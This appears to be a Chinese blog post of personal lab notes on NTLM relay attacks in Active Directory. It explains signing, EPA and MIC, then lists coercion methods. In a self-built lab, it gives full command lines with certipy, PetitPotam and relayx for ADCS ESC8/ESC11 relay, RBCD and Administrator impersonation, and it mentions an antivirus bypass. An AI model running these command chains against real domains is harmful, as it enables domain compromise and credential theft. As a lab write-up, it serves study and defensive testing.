域内中继打法
原创
ptr
ptr
UpRoot
2026年8月19日 23:13
江苏
在小说阅读器读本章
去阅读
域内中继打法个人记录,作为复习回顾,操作非opsec,仅记录最基础打法,如有差错还请指正,谢谢。
NTLM
NTLM是一种基于挑战/应答的身份验证协议,并没有定义它所依赖的传输层协议。
NTLM消息的传输完全依赖于使用它的上层协议,可以是SMB、可以是TCP,还可以是HTTP。
NTLM是Windows操作系统对SSPI身份验证接口的一种实现。
因为SSPI中定义了与会话安全有关的API,所以,在其上层使用任何SSP与远程服务进行身份验证后,此SSP都会为本次连接生成一个随机的Key,一般称为SessionKey。上层应用经过身份验证,可以有选择地使用SessionKey对之后发往服务端或接收自服务端的数据进行签名或加密。
不同的SSP,实现的身份验证机制是不一样的。NTLM协议实现的是基于挑战的身份验证机制,Kerberos协议实现的是基于票据的身份验证机制。
签名、EPA与MIC
在开启了SMB签名的情况下,SMB协议使用NTLM SSP进行身份验证后,所有数据包都会利用NTLM SSP生成的SessionKey进行签名。SMB服务端收到这些数据包后,也会检查数据包的签名。
在NTLM SSP生成SessionKey的过程中,生成算法需要使用密码的原始hash。而中继类型的攻击者通常处在中间人的位置,不知道原始的hash,所以无法通过计算得到SessionKey,自然无法对数据包进行签名。
域内的默认设置时只在DC上面开SMB签名,在Domain Computers中不开。个人计算机默认不开。
另外,查阅资料发现有特殊情况如下:
强认证指南2025
EPA,即增强的身份验证保护,在NTLM挑战应答的三次消息以及Kerberos发送的AS-REQ之类的消息中加了身份验证令牌。一般默认禁用,查阅资料如下:
强认证指南2025
MIC:消息完整性验证码,保持消息完整性,放篡改,未打CVE-2019-1040补丁可绕过。在ntlmrelayx工具中使用--remove-mic参数。
强认证
为了能够使用低权限账号来建立可中继的会话,需要让目标机器强制发送NTLM认证请求。有如下几种办法(主动):
1、MS-RPRN(Printerbug)
2、MS-EFSR EFS(PetitPotam)
3、MS-FSRVP(ShadowCoerce)
4、MS-DFSNM(DFSCoerce)
5、PrivExchange
具体原理不再讨论,留意一下不同RPC接口支持的协议区别。
relay
草图如下:
relay后的攻击思路:
1、SMB relay to HTTP -> 打ADCS ESC8
2、SMB relay to RPC -> 打ADCS ESC11
3、SMB relay to LDAP -> 打RBCD、Shadow Credentials、dcsync
4、HTTP relay to LDAP -> 打域内鱼叉钓鱼
5、SMB relay to MSSQL -> 打xpcmdshell
制作靶场环境
写的东西越来越多人刷到了,为了对自己负责、也对大家负责,我花了一些时间做了个靶场环境用于本文复现。(其实花了大把的时间,域内机器经常脱域,需要找到原因再修复。)
DC、CA: 192.168.56.10(杀软:360核晶、火绒内存扫描)
SRV:192.168.56.20(杀软:火绒)
Domain Computers:192.168.56.30(杀软:360)
低权限域账号: lab.local/user1:xxxxxx
为了方便relay到vps,同时作为真实的入口,给30这台机器配了双网卡可出网,其余均不出网。
DC、360、火绒
DomainComputers、360
SRV、火绒
ESC8
proxychains4 certipy find -u '[email protected]' -hashes aad3b435b51404eeaad3b435b51404ee:77b4ae6a371b4fddbc07a71ace2c8c73 -dc-ip 192.168.56.10 -vulnerable -stdout
certipy relay -target http://192.168.56.10/certsrv/certfnsh.asp -port 4455
192.168.56.30作为跳板机,使用自研的小工具进行bypass360转发强认证流量。
强认证srv,拿到srv的票据。
proxychains python3 -m wspcoerce.cli 'lab.local/[email protected]' \"file:////192.168.56.30/share\" -hashes :77b4ae69371b4fddbc07a71ace2c8c73
proxychains certipy relay -target http://192.168.56.10/certsrv/certfnsh.asp -port 4455
proxychains certipy auth -pfx srv01.pfx -dc-ip 192.168.56.10 -domain lab.local
ESC11
proxychains certipy relay -target rpc://192.168.56.10 -ca LAB-CA -template Machine -port 4455
proxychains python3 petitpotam.py 192.168.56.30 192.168.56.20 -u 'user1' -hashes :77b4ae69371b4fddbc07a71ace2c8c73 -d 'lab.local' -dc-ip 192.168.56.10
proxychains certipy auth -pfx srv01.pfx -dc-ip 192.168.56.10 -domain lab.local
RBCD
强认证smb relay to ldap提权接管目标机器,可打rbcd、shadow credentials。以rbcd为例:
proxychains python3 relayx.py 'lab.local/[email protected]' -hashes :77b4ae69371b4fddbc07a71ace2c8c73 -r 192.168.56.30 -dc-ip 192.168.56.10 -t efs -m rbcd --smb-port 4455
proxychains python3 petitpotam.py 192.168.56.30 192.168.56.20 -u 'user1' -hashes :77b4ae69371b4fddbc07a71ace2c8c73 -d 'lab.local' -dc-ip 192.168.56.10
proxychains python3 /usr/local/bin/getST.py -spn cifs/SRV01.lab.local -impersonate Administrator 'lab.local/SKAUPNQP$:I!qdarxcWe+{v),' -dc-ip 192.168.56.10
剩余一种域内鱼叉打法,后续补充。
一切都在来的路上。
- END -
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论